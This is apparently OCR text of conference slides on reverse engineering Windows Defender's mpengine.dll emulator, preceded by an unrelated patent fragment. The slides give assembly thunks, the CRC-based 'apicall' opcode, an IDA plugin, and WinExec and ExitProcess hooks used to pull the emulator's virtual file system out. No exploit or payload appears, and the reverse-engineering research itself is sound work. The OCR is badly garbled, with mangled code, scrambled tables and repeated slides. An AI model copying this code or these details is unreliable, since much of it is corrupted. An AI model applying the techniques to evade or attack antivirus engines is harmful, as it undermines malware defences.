6,704,925 B1* 3/2004 I 717/138

- _ . 2002/0091934 Al*  7/2002 713/188
(75) " Tnventors: Gheorghe Marius Gheorghescu, 2003/0041315 Al* 2/2003 Bates etal. w.o.ooov... 717/129

Redmond, WA (US); Adrian M . 2003/0101381 Al*  5/2003 Mateev et al. ....ove.v....... 714/38
Marinescu, Sammamish, WA (US); 2005/0005153 Al*  1/2005 Dasetal. .ooo.coooo....... 713/200
Adrian E Stepan, Redmond, WA (US)

OTHER PUBLICATIONS

Cifuentee Crictina “Reverce Caomnilation Technianec’ Tul 1994

(73) Assignee: Microsoft Corporation, Redmond, WA

“The present invention includes a system and method for translating potential malware devices into
safe program code. The potential malware is translated from any one of a number of different types
of source languages, including, but not limited to, native CPU program code, platform

independent .NET byte code, scripting program code, and the like. Then the translated program code
is compiled into program code that may be understood and executed by the native CPU..."
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Reversing Process

e Static reversing in IDA
O Bindiff for patch analysis

The GNU Project
® Dynamic analysis and Debugger

debugging in GDB using s ;

Address Blocks Hit

Tavis Ormandy’s
mpclient with

° ° ° pem probe_for_write (pe_vars_t *,unsigned _ inté4,ulong) 0x5A56364C 4/5 3
is_vdll (pe_vars_t *,unsigned _ int64d) || 0xSAS943E7 | 5/¢8 | 26 / 32 [ 82 1 s
extensive customization e Cmmm UL T
61.22% CallPostEntryCode (pe_vars_t *) 0x5AS884D3 7712 60/ 98 334 G
58.543 mmap_is_dynamic_page (pe_vars_t *,unsigned _ intéd) 0xSA568A32 8/ 10 24/ 41 89 8
51.14% pe_refresh_sigdriven_attributes(pe_vars_t *, ulong) 0xSR45C775 30/ 73 180 / 352 1214 61
50.38% pe_save_CTX(pe_vars_t *,ulong) 0XSASEEATE 10/ a4 201 / 399 1418 24
36.36% scale_MP_budget (pe_vars_t *,unsigned _ intéd) 0xSAS93DED 2/3 8/ 22 6 2
29.58% NTDLL_DLL_NtCloseWorker(pe_vars_t *) 0xSASEASBO 77/ 26 42 / 142 467 18
27.55% scan_pe_dtscan(pe_vars_t *) 0xSA590690 18 / S3 73 / 265 1163 35
L4 27.29% NTIDLL_DLL_NtControlChannel (pe_vars_t *) 0xS5A564560 23/ 76 113 / 414 1354 70
‘ Ove ra e W I t a 25.70% scan_pe_dtscan_slice (pe_vars_t *,unsigned _ intéd *) 0x5A58D095 22/ 61 73 / 284 1178 52
23.12% scan_pe_dtscan_end (pe_vars_t *) 0xSAS87DBE 37/ 28 37 / 160 580 17
18.22% NTDLL_DLL_NtContinue (pe_vars_t *) 0xSASE8990 4/ 14 41 / 225 728 8
. . 17.588 mmap_is_dirty_page (pe_vars_t *,unsigned _intéd) 0xSASECE96 4725 16/ 91 255 16
14.43% __call_api_by_crc(pe_vars_t *,ulong) 0XSAS6DEFS 16 / 104 71/ 492 1582 78
customized Lichthouse e ——— e e
dynkcrc_check (pe_vars_t *,unsigned _ intéd) O0XSASEE4SE 8/ 23 24 / 251 a72 13
_ mmap_ex(pe_vars_t *,unsigned _inté4,ulong,ulong) 0XSA46F580 8/ 196 43 / 994 3692 126
pagedaig(n. = * paigned ipred ha on k3 i 24 9

Pintool



Dealing With Calling Conventions

When calling mpengine.d1l1 functions from mpclient: Difficulty
of interoperability between MSVC and GCC compiled code

e Possible to massage compiler with  attribute annotations
Easier solution - just hand-write assembly thunks to marshall
arguments into the correct format

ASM_pe_read_string_ex:
push ebp
mov ebp, esp

mov eax, dword [ebp+0x8]
mov ecx, [ebp+0xc]

push dword [ebp+0x18]
push dword [ebp+0x14]
push dword [ebp+0x10]

call eax

add esp, 0xc

pop ebp
ret

ASM__mmap_ex:
push ebp
mov ebp, esp

mov eax, dword [ebp+0x8]
mov ecx, [ebp+0xc]
mov edx, [ebp+0x10]

push dword [ebp+0x1c]
push dword [ebp+0x18]
push dword [ebp+0x14]
call eax

add esp, Oxc
pop ebp

ret

fp
2 -V

; (SIZE)

; rights
; addr hi
; addr low




Dealing With Calling Conventions

When calling mpengine.dl1l functions from mpclient: Difficulty
of interoperability between MSVC and GCC compiled code

e Possible to massage compiler with  attribute annotations
Easier solution - just hand-write assembly thunks to marshall
arguments into the correct format

BYTE *  fastcall @ mmap ex
(

pe vars t * v, // ecx
unsigned int64 addr, // too big for edx
unsigned long size, // edx

unsigned long rights

ASM_pe_read_string_ex:
push ebp
mov ebp, esp

mov eax, dword [ebp+0x8]
mov ecx, [ebp+0xc]

push dword [ebp+0x18]
push dword [ebp+0x14]
push dword [ebp+0x10]

call eax

add esp, 0xc

pop ebp
ret

ASM__mmap_ex:
push ebp
mov ebp, esp

mov eax, dword [ebp+0x8]
mov ecx, [ebp+0xc]
mov edx, [ebp+0x10]

push dword [ebp+0x1c]
push dword [ebp+0x18]
push dword [ebp+0x14]

call eax
add esp, Oxc

pop ebp
ret

fp
2 -V

; (SIZE)

; rights
; addr hi
; addr low




Dealing With Calling Conventions [sg i tinees
push ebp
mov ebp, esp
When calling mpengine.dl1l functions from mpclient: Difficulty mov eax, dword [ebp+0x8] ;1 - fp
. ong c , bp+0 ;2
of interoperability between MSVC and GCC compiled code O GG R
e Possible to massage compiler with attribute  annotations 83:2 gag:g {:gg:gﬁﬁ} f‘; b
Easier solution - just hand-write assembly thunks to marshall push dword [ebp+0x10] 3
arguments into the correct format call eax
BYTE * fastcall mmap ex add esp, Oxc
_ S — pop ebp
( ret
pe vars t * v, // ecx e e o
unsigned int64 addr, // too big for edx ﬁi‘,iheﬁﬁ" esp
unsigned long size, // edx
. . mov eax, dword [ebp+0x8]; fp
unsigned long rights mov ecx, [ebp+@dxcl ;2 - v
) ; mov edx, [ebp+0x10] ) 4]
push dword [ebp+@xlc] ; rights

; addr hi
; addr low

void x e_mmap(void * V, uint64_t Addr, uint32_t Len, uint32_t Rights)
{

ASM__mmap_ex(FP__mmap_ex, V, Len, Addr, Rights);




apicall

Custom “apicall” opcode used to
trigger native emulation routines

OF FF FO [4 byte 1mmediate]



apicall

Custom “apicall” opcode used to
trigger native emulation routines

OF FF FO [4 byte 1mmediate]

A

immediate = crc32(DLL name, all caps) crc32 (function name)



apicall

Custom “apicall” opcode used to $ ./mphashgen KERNEL32.DLL OutputDebugStringa
. . . . KERNEL32.DLL!OutputDebugStringA: 0xB28014BB
trigger native emulation routines

OF FF FO [4 byte 1mmediate]

A

immediate = crc32(DLL name, all caps) crc32 (function name)

0xB28014BB = crc32 (“KERNEL32.DLL"”) ~ crc32 (“OutputDebugStringA”)



apicall

Custom “apicall” opcode used to $ ./mphashgen KERNEL32.DLL OutputDebugStringa
. . . . KERNEL32.DLL!OutputDebugStringA: 0xB28014BB
trigger native emulation routines

OF FF FO [4 byte 1mmediate]

A

immediate = crc32(DLL name, all caps) crc32 (function name)

0xB28014BB = crc32 (“KERNEL32.DLL”) ©~ crc32 (“OutputDebugStringA”)

OF FF FO BB 14 80 BZ
apicall kernel32!0OutPutDebugStringA



apicall Dispatch

{x32, x64, ARM} parseint
checks apicall immediate value, may
do special handling with

g MpIntHandlerParam Or pass on
to native emulation

id

DTLIB_ DT1lib_x32_escfn dd

offset

offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset

>x86 inv och(NIXPAVDT context@aK@Z ;
?x86_emu_intnn@@YIXPAVDT_context@@@Z ;
?x86_signal_tick@@YIXPAVDT_context@@K@Z ;
?x86_emu_bound@@YIXPAVDT_context@@@Z ;
’71>$ResmgrPlug1nGlueOVCResmgPFlleCO$1>Resmng11e n1tC(NA’AH4HP
?x32_exe_bkpt@@YIXPAVDT_context@@K@Z ; x2
?x32_load_selector@@YIXPAVDT context@@K@Z ;
3>1>$ResmgrPlug1nGlueOVCResmgPFlleCC$1>Resmng11e n1tCCNA>AH4MP
?x32_check_priv@@YIXPAVDT_context@aK@Z ; x3
?x86_store_FPU_CSIP@@YIXPAVDT_context@@@Z ; SIP
"1)$ResmgrPlug1nGlueOVCResmnglleOO$1’ResmnglleInltC(NA’AHAMP

2212%$ResmgrPluginGlue@VCResmgrFile@@$1?ResmgrFileInit@@YA?AWAMP_|

?212%$ResmgrPluginGlue@VCResmgrFile@@$1?ResmgrFileInit@@YA?AWAMP_|
)31>$ResmgrPlug1nGlueOVCResmgPFlle(@$1>ResmnglleInltC(NA)AHAMP
?x86_eFX_load@@YIXPAVDT_context@@@Z ;
?x86_eFX_store@@YIXPAVDT_context@@@Z ;
>’1>$ResmgrPlug1nGlueOVCResmnglleOO$1 ResmnglleInltCO

22 RADTState@DTLIB@@6B@ : const :“RTTI

ERROR@@PAV

ERRORC@PA\/

1¢

ERROR@GPAV
ERROR@@PAV
ERROR@@PAV
ERROR@@PAV




; void (__cdecl *const [
DTLIB_ DT1lib_x32_escfn dd

apicall Dispatch

{x32, x64, ARM} parseint
checks apicall immediate value, may
do special handling with

g MpIntHandlerParam Or pass on
to native emulation

offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset
offset

Given a CRC,

__ lower_bound_PBUesyscall_t_ KUSyscallComparer__ 1 call_api_by_crc_ YA
&last_syscall,
& Fi );
= 5
if ( =
{

= &last_syscall || vl4->encrc !=
28 = ->vhost;
if (v28)
{
if (v28 == 1)
{ ; esyscall t g sys
(v3->iproc->vfptr->push64) (v3->iproc, ->reteip, HIDWORD(v2->reteip)); N
return 0;

¥

return 0;

calls
g_syscalls

DTlib_x32_escfn[21]

offset @x86_} prlntregs wrap@S

)x86 inv opc@@NIXPAVDT context@aK@Z ;

?x86_emu_intnn@@YIXPAVDT_context@@@Z ; x
?x86_signal_tick@@YIXPAVDT_context@@K@Z
?x86_emu_bound@@YIXPAVDT_context@@@Z ; x86 C -
"1>$Re5mgrP1ug1nGlue@VCResmnglle@@$1>ResmnglleInlt@@NA?AHAMP
?x32_exe_bkpt@@YIXPAVDT_context@@K@Z ; x32
?x32_load_selector@@YIXPAVDT_context@@K@Z ; lgfc X
>>1>$ResmgrPlug1nGlue@VCResmnglle@@$1>ResmnglleInltC@NA’AUAMP ERROR@@PAV
?x32_check_priv@@YIXPAVDT_context@@K@Z ; x3
?x86_store_FPU_CSIP@@YIXPAVDT_context@@@Z ; x86
))1>$Re5mgrPlug1nGlue@VCResmnglle@@$1’ResmnglleInlt@@YA’AUdMP ERROR@@PAV
??1?$ResmgrPluginGlue@VCResmgrFile@@$l?ResmgrFileInit@@YA?AWAMP_ERROR@@PAV
?212%$ResmgrPluginGlue@VCResmgrFile@@$1?ResmgrFileInit@@YA?AWAMP_ERROR@@PAV
))1>$ResmgrPlug1nGlue@VCResmnglle@@$1>ResmnglleInlt@@YA)AHAMP ERROR@@PAV
?x86_eFX_load@@YIXPAVDT_context@@@Z ; t
?x86_eFX_store@@YIXPAVDT_context@@@Z ;
"1>$ResmgrPlug1nGlue@VCResmnglle@@$1>ResmnglleInlt@@WA’AUAMP ERROR@@PAV
?? RADTState@DTLIB@@6B@ : const [ : D C

__call api by crc dispatches to

the correspondlng emulation routine

119
dd offset >NTDLL_DLL_NtSetEventWorker@@YAXPAUpe_vars_t@@@Z

+SetFven

5F2823h
} offset ?NTDLL_DLL_NtResumeThreadWorker@@YAXPAUpe_vars_t@@@Z ;

NTDLL

2435AE3h

Function pointers to emulation routines
and associated CRCs are stored in
g syscalls table

offset ?NTDLL_DLL_NtSetInformationFileWorker@@YAXPAUpe_vars_t@@@Z ; NT
2DA9326h

offset ?ADVAPI32_DLL_RegDeleteValuel@@YAXPAUpe_vars_t@@@Z ; ADVAPIZ2 D
6A61690h

offset ?NTDLL_DLL_NtTerminateThreadWorker@adYAXPAUpe_vars_t@@@Z ;
751A54Bh

offset ?NTDLL_DLL_NtWaitForMultipleObjectsWorker_PreBlock@@YAXPAUpe_vars_t@@@Z

NTDLL




VDLL RE - apicall Disassembly

; Exported entry 652. MpReportEventEx

apicall

. . ] public MpReportEventEx
instruction confuses IDA’s MpReportEventEx: ; CODE XREF: WriteFile+1B@ip

disassembler dword_7C88D1A4, 0

short locret 7C88713B
edi, edi
$+5

JALA AR LLEXTIOTT Loy

loc_7C851FD4: ; CODE XREF: MpStartProcess+123FTp
; MpStartProcess+18FDTp ...

dw BFFBFh
dd S9ESQEFDFBh, 8C293h




VDLL RE - apicall Disassembly

; Exported entry 652. MpReportEventEx

apicall

. . ] public MpReportEventEx
instruction confuses IDA’s MpReportEventEx: ; CODE XREF: WriteFile+1B@ip

disassembler dword_7C88D1A4, 0
j short locret 7C88713B

JATA A text:orT /SLood

edi, edi

Solution: implement a $+5
processor extension module

to support apicall
disassembly

loc_7C851FD4: ; CODE XREF: MpStartProcess+123FTp
; MpStartProcess+18FDTp ...

dw BFFBFh
dd S9ESQEFDFBh, 8C293h




il sl 55

VDLL RE - apicall Disassembly Eeremyeseere

public CopyFilelWlWorker
CopyFilelWlWorker proc near

apicall kernel32 OutputDebugStringl proc near
; CODE XREF

mov edi, edi

call $+5

add esp, 4

apicall kernel32!CopyFilelWlWorker
retn oCh

8B FF mov edi, edi

ES 00 00 60 o8 call $+5

83 C4 84 add esp, 4

BF FF F@ BE 14 88 B2 apicall kernel32!0utputDebugStringh

C2 @4 80 retn 4 CopyFileWWorker endp
apicall kernel32 OutputDebugStringf endp
apicall stub functions are labeled by script Some functions have
exported names

OutputDebugStringA(int al)

Article in PoC||GTFO N0 raee spReat Kernelas B "
Ox19 explains how this all __asm { apicall kernel32!QutputDebugStringA }

works I} )
HexRays Decompiler shows apicall as an

inline assembly block




IDA Processor Extension Module

An IDA Processor Extension
Module was used to add
support for the apicall

instruction

Kicks in whenever a file
named “* .mp.d11”is

loaded

class apicall_parse_t(idaapi.plugin_t):
flags = idaapi.PLUGIN_PROC | idaapi.PLUGIN_HIDE
comment "MsMpEng apicall x86 Parser"
wanted_hotkey = ""
help "Runs transparently during analysis"
wanted_name "MsMpEng_apicall"
hook = None

def init(self):
self.hook = None
".mp.dll" idc.GetInputFile() idaapi.ph_get_id()
idaapi.PLUGIN_SKIP

"\n\n-->MsMpEng apicall x86 Parser Invoked!\n\n"

self.hook = parse_apicall_hook()
self.hook.hook()

idaapi.PLUGIN_KEEP

idaapi.PLFM_386:

Rolf Rolles’ examples were extremely helpful:

msreverseengineering.com/blog/2015/6/29/transparent-deobfuscation-with-ida-processor-module-extensions

msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-

one-x86-deobfuscation




Instruction Analysis

® Invoked to analyze def ev_ana_insn(self, insn):
instructions hashesToNames
insnbytes = idaapi.get_bytes(insn.ea, 3)
o |fthree bytes at the insnbytes "\xOf\xff\xfo':
) i apicrc = idaapi.get_long(insn.ea+3)
next instruction apiname = hashesToNames.get(apicrc)
addressare 0f ff f0 apiname 1s None: _
_ "ERROR: apicrc @x%x NOT FOUND!"%(apicrc)
we have an apicall
"apicall: %s @ O0x%x"%(apiname, insn.ea)
e Note that the insn.itype = NN_apicall
instruction was an insn-gpi-tyr{e idaapi.o_imm
. . insn.Opl.value = apicrc
apicall and that it insn.Opl.dtyp idaapi.dt_dword
was 7 bytes long, so insn.size = 7
the next instruction s
starts at $+7 False




Instruction Representation

def ev_out_mnem(self, outctx):

insntype = outctx.insn.itype
Represent the instruction _ _
ith .« , ” insntype NN_apicall:
Wi mnemonic aplcall mnem "apica]_]_"

def ev_out_operand(self, outctx, op):
insntype outctx.insn.itype

NN_apicall:
op.value
hashesToNames.get(apicrc)

insntype
apicrc
apiname

outctx.out_line(mnem)

MNEM_WIDTH = 8

width = max(1, MNEM_WIDTH len(mnem))
outctx.out_line("' ' width)
True
False

None:
False

apiname

s = apiname.split("_DLL_")
operand_name = "!".join( [s[0].lower(), s[11] )
"FOUND:", operand_name

outctx.out_line(operand_name)

True
False

Represent the operand with the
name of the function being
apicall-edto




Labeling

ap icall Stu bs Creating and naming functions with apicall

instructions during autoanalysis is very slow

Scan for
apicall stub
function
signatures after
autoanalysis

head Heads (text_ea, SegEnd(text_ea)):
func_ea = idaapi.get_func(head)
func_ea None:
idaapi.get_bytes(head, 13) "\x8b\xff\xe8\x00\x00\x00\x00\x83\xc4\x04\x0f\xff\xf0":
"Unrecognized apicall function at @ 0x%x"%(head)
MakeFunction(head)

funcea Functions(text_ea, SegEnd(text_ea)):
functionName = GetFunctionName(funcea)
(startea, endea) Chunks (funcea):
head Heads(startea, endea):

insnbytes = idaapi.get_bytes(head, 3)

insnbytes "\x0f\xff\xfo"':
apicrc = idaapi.get_long(head+3)
apiname = hashesToNames.get(apicrc)
apiname None:
"ERROR: apicrc 0x%x NOT FOUND! @ 0x%x"%(apicrc, head)

"PROCESS - apicall: %s @ Ox%x"%(apiname, head)
func_ea idaapi.get_func(head).start_ea
fname = idc.GetFunctionName(func_ea)
fname.startswith("sub_"):
MakeName(func_ea, "apicall_" + apiname)




Labeling

Scan for
apicall stub
function
signatures after
autoanalysis

mov edi, edi
call $+5
add esp, 0x4
apicall

Creating and naming functions with apicall
instructions during autoanalysis is very slow

apicall Stubs

head Heads (text_ea, SegEnd(text_ea)):
func_ea = idaapi.get_func(head)
func_ea None:
idaapi.get_bytes(head, 13) "\x8b\xff\xe8\x00\x00\x00\x00\x83\xc4\x04\x0f\xff\xf0":
"Unrecognized apicall function at @ 0x%x"%(head)
MakeFunction(head)

funcea Functions(tzxt_ea, SegEnd(text_ea)):
functionName = Ge*FunctionName(funcea)
(startea, <ndea) Chunks (funcea):
hezu Heads(startea, endea):
insnbytes = idaapi.get_bytes(head, 3)
"\xOf\xff\xf0Q"':
apicrc = idaapi.get_long(head+3)
apiname = hashesToNames.get(apicrc)
apiname None:
"ERROR: apicrc 0x%x NOT FOUND! @ 0x%x"%(apicrc, head)

insnbytes

"PROCESS - apicall: %s @ Ox%x"%(apiname, head)
func_ea idaapi.get_func(head).start_ea
fname = idc.GetFunctionName(func_ea)
fname.startswith("sub_"):

MakeName(func_ea, "apicall_" + apiname)




\ Outline

1. Introduction

2. Tooling & Process

3. Reverse Engineering
4. Vulnerability Research
5. Conclusion



Emulator Components

® CPU emulation
O + Timing

e OS API emulation

O + Timing

® Emulated environment
O Settings, processes, file system,
registry, network, etc

® Antivirus instrumentation and
callbacks

nt ! PEB
Settings

In-Emulator
OS Facilities

AV Instrumentation

Other
Scanning
Engines

(inteD)
ARM

CPU
Emulation

OS (Kernel)
Emulation

Persistent
System State

mpengine.dll



Process Interaction

Since other processes don't
really exist, they can’t be
interacted with like real
processes

pe_set_return_value(v,] 8x1234ui64)
/->m_pDTc->m_vticks64 += 32164,

eteref}

int zero; /7 [Sp+4Ch] [bp-Zn]@l

Parameters<5>::Parameters<5>(&arg, v);

oDTc = v-»>m_pDTc;

viticks.m_vticks = 32;

viticks.m_init_wticks = &v-»>vticks32;
DTc;

a.

arg.m_Arg[0].val32 == 8x1234 )|

ReadProcessMemory &

WriteProcessMemory
operations for processes other
than the one under analysis fail

0x1234 is a handle to the
emulated process under analysis

)

1pBuffer = arg.m_Arg[3].val32;

result = vmm_memmove(v, arg.m_Arg[l].val6d, zrg.m_Arg[2].val6d, arg.m_Arg[3].val32);

pe_set return_value(v, result != 8);
if ( arg.m_Arg[4].valed )
{
plpNumberOfBytesRear
if ( plpNumberOfBytesRea
*plpNumber0OfBytesReac
else
pe_set_return_value(v, 8i64);
¥
rticks.m_vticks = 32 * (result + 1);
¥
else
{
pe_set_return_value(v, 8i64);

¥
CAutoVticks: :~CAutoVticks(&vticks);



VirtualReg - Virtual Registry

® Unlike VFS, registry is not exposed for direct interaction from with in
the emulator, it can only be reached via advapi32.d11 emulations

® advapi32.dll’s only natively emulated functions are those that

deal with registry interaction

E ADVAPI3Z2 DLL_RegCreatekKeyExW(pe vars_t*)
IE ADVAPI3Z DLL_RegDeletekKeyW(pe vars_t *)
IE ADVAPI3Z2 DLL_RegDeleteValueW(pe vars_t *)
IE ADVAPI3Z DLL_RegEnumKeyExW(pe _vars_t =)
IE ADVAPI3Z DLL_RegEnumValuew(pe vars_t *)
IE ADVAPI3Z DLL_RegOpenkKeyExW(pe vars_t =)
IE ADVAPI3Z2 DLL_RegQueryInfokeyW(pe vars_t *)
IE ADVAPI3Z DLL_RegQueryValueExW(pe vars_t *)
IE ADVAPI3Z2 DLL_RegSetValueExW(pe _vars_t =)

| f] virtualReq:
E VirtualReg::
E VirtualReg:
Izl VirtualReg:
E VirtualReg:
[EI VirtualReq:
E VirtualReg:
IEI VirtualReg:
E VirtualReg:
E VirtualReg:
[EI VirtualReg:
E VirtualReg:
IEI VirtualReg:
[EI VirtualReg:
E VirtualReg::

WVirtualReag(VirtualReg *)

"vector deleting destructor'{(uint)

screateKey(uint,ushort const *,bool,uint & boal &)
:deletekey(uint)

:deleteValue({uint,ushort * const)
:enumeratesSubkey(uint,int, VREG_KeyInfo &)
:enumerateValue(uint,int,ushort * const, VREG_ValueT
risAHiveRoot{uint)

:queryKey(uint, VREG_KeyInfo &)

:querykey(uint,uint, VREG_KeyInfo &)
:queryValue(uint,ushort * const, VREG_ValueType &,uir
:setValue(uint,ushort * const, VREG_ValueType,uint,vo
switchToLocalTree(void)

stranslateHiveRoots{uint &)

~AfirtualReg(void)




WinExec Hook

Good function to hook - emulator functions fine without it
actually doing its normal operations

2 parameters - pointer and uint32 - can create an IOCTL-like
interface, pointer to arbitrary data, uint32 to specify action

_ cdecl KERNEL32_DLL_WinExe«

DT_context *pDTc; // ec
CAutoVticks vticks; // |
src_attribute_t attr; //
unsigned int Length; // [
Parameters<2> arg; //

int unu // [esp+58h]

s.m_vticks = 32;
-»>m_pDTc;
m_init_vticks = &v->vticks32;
m_pC = pDTc;
unused = @;
Parameters<2>: :Parameters<2>(&arg, v);
pe_set_return_value(v, 1uibd);
first.length = @;
second. length ;
.attribid = 12
second.numval32 = @;
- 0;
first.numval32 = pe_read_string_ex(zrg.m_Arg[8].val6d, &Le
ttr.first.length = 1;
iga check(v, &=
cks.m_vticks = pe_create_process(zrg.m_Arg[08].val32, @ied4) != 8 ? 16416 : 1056;
CAutoVticks: :~CAutoVticks (& ticks);

UINT WINAPI WinExec (
~In LPCSTR lpCmdLine,
_In UINT uCmdShow

) ;

void __cdecl KERNEL32_DLL_WinExec_hook(void * v)

uint64_t Params[2] = {0};
uint32_t infol6 = 0;
uint32_t len;

uint32_t res;

char * str;

uint64_t ui64;

elog(S_TRACE, "WinExec");
GetParams(v, Params, 2);
elog(S_DEBUG_VV, "V: %p", v);

infol6 = Params[1] & OxFFFF;
( infol6 )
{

OQutString:

elog(S_DEBUG_VV, "OutString");

str = GetString(v, Params[0], &len);
elog(S_INFO, "OutString: %s", str);

OutUInt64:

elog(S_DEBUG_VV, "OutUInt64");

uib4 = GetUInt64(v, Params[0]);
elog(S_INFO, "OutUInt64: Ox%l1x", ui64);

GetParam:

elog(S_DEBUG_VV, "GetParam");

res = HandleFuzzParam(v, Params[0]);
elog(S_DEBUG, "RES: %d", res);

FuzzeeInit:
elog(S_DEBUG_VV, "FuzzeelInit");




Example: Extracting VFS

File system is not stored in mpengine.dl1 - evidently loaded at
runtime from VDMs - can’t be trivially extracted with static RE

void DumpFile(char * FilePath, char * DumpName) {
DWORD fileSize;
DWORD bytesRead;
HANDLE h;
LPVOID buf;

h = CreateFileA(FilePath, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if (h == INVALID_HANDLE_VALUE) {
FatalError("Could not open file");
}

fileSize = GetFileSize(h, NULL);

if (fileSize == INVALID_FILE_SIZE) {
FMTPRINT1("FAILED", FP32(GetLastError()));

¥

buf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
if (buf == NULL) {

FatalError("HeapAlloc failed");
}

ReadFile(h, buf, fileSize, &bytesRead, NULL);
PostBuffer(DumpName, buf, fileSize);




Example: Extracting VFS

File system is not stored in mpengine.dl1 - evidently loaded at
runtime from VDMs - can’t be trivially extracted with static RE

void DumpFile(char * FilePath, char * DumpName) {
DWORD fileSize;
DWORD bytesRead;
HANDLE h;
LPVOID buf;

h = CreateFileA(FilePath, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if (h == INVALID_HANDLE_VALUE) {
FatalError("Could not open file");
}

fileSize = GetFileSize(h, NULL);

if (fileSize == INVALID_FILE_SIZE) {
FMTPRINT1("FAILED", FP32(GetLastError()));

}

buf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize); VOID PostBuffer(char * name, void * pBuffer, uint32 t len)
if (buf == NULL) { {
FatalError("HeapAlloc failed"); U LI
} buf.ptr = (uint32_t)pBuffer;
buf.len = len;

buf.name = name;

WinExec((LPCSTR)&buf, OutBuf);

ReadFile(h, buf, fileSize, &bytesRead, NULL);
PostBuffer(DumpName, buf, fileSize);




Example: Extracting VFS

static void __cdecl KERNEL32_DLL_WinExec_hook(void * v)

uint64_t Params([2] = {0};
uint32_t infol6 = 0;
uint32_t len;

uint32_t res;

File system is not stored in mpengine.dl1 - evidently loaded at char % str;

runtime from VDMs - can’t be trivially extracted with static RE

uint64_t uib4;

elog(S_TRACE, "WinExec");

void DumpFile(char * FilePath, char * DumpName) {
DWORD fileSize;
DWORD bytesRead;
HANDLE h;
LPVOID buf;

h = CreateFileA(FilePath, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_| e

if (h == INVALID_HANDLE_VALUE) {
FatalError("Could not open file");
}

fileSize = GetFileSize(h, NULL);
if (fileSize == INVALID FILE_SIZE) {
FMTPRINT1("FAILED", FP32(GetLastError()));

}

buf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize);
if (buf == NULL) {

FatalError("HeapAlloc failed");
}

ReadFile(h, buf, fileSize, &bytesRead, NULL);
PostBuffer(DumpName, buf, fileSize);

WinExec hook

GetParams(v, Params, 2);
elog(S_DEBUG_VV, "V: %p", v);

infol6 = Params[1] & OxFFFF; //mask off low bits of Info
switch ( infol6 )

case OutBuf: //share a buffer out
elog(S_DEBUG_VV, "OutBuf");
res = HandleQutBuf(v, Params
elog(S_DEBUG, "RES: %d“,

break;

11F

Outside of emulator

VOID PostBuffer(char * name, void *

{

BUFFEROUT buf;

buf.ptr = (uint32_t)pBuffer;
buf.len = len;

buf.name = name;
WinExec((LPCSTR)&buf, OutBuf);




ExitProcess Hook

Called at the end of emulation, even if
our binary doesn’t call it directly

Informs Pin when to stop tracing if
under analysis

Original
KERNEL32 DLL ExitProcess
function needs to be called for
emulator to function properly, so just
call through to it

void __cdecl KERNEL32_DLL_ExitProcess_hook(void * v)
uint64_t Params[1] = {0};

elog(S_DEBUG, "ExitProcess");
InstrumentationCallbackStop();

originalExitProcess(v);

elog(S_DEBUG, "ExitProcess DONE\n");




Unique VDLL PDB Paths

QA AO0DO00000000000000000000000000000000a0A0

:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\autoconv\objfre\i386\autoconv.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\bootcfg\objfre\i386\bootcfg.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\cmd\objfre\i386\cmd.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\dfrgfat\objfre\i386\dfrgfat.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\mmc\objfre\i386\mmc.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\msiexec\objfre\i386\msiexec.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\notepad\objfre\i386\notepad.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\rasphone\objfre\i386\rasphone.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\relog\objfre\i386\relog.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\replace\objfre\i386\replace.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\taskmgr\objfre\i386\taskmgr.pdb
:\mpengine.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\winver\objfre\i386\winver.pdb
:\build.obj.x86chk\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\lodctr\objchk\i386\lodctr.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\attrib\objfre\i386\attrib.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\chkdsk\objfre\i386\chkdsk.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\compact\objfre\i386\compact.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\find\objfre\i386\find.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\finger\objfre\i386\finger.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\fixmapi\objfre\i386\fixmapi.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\ipv6\objfre\i386\ipv6.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\logoff\objfre\i386\logoff.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\migpwd\objfre\i386\migpwd.pdb
:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\mshta\objfre\i386\mshta.pdb
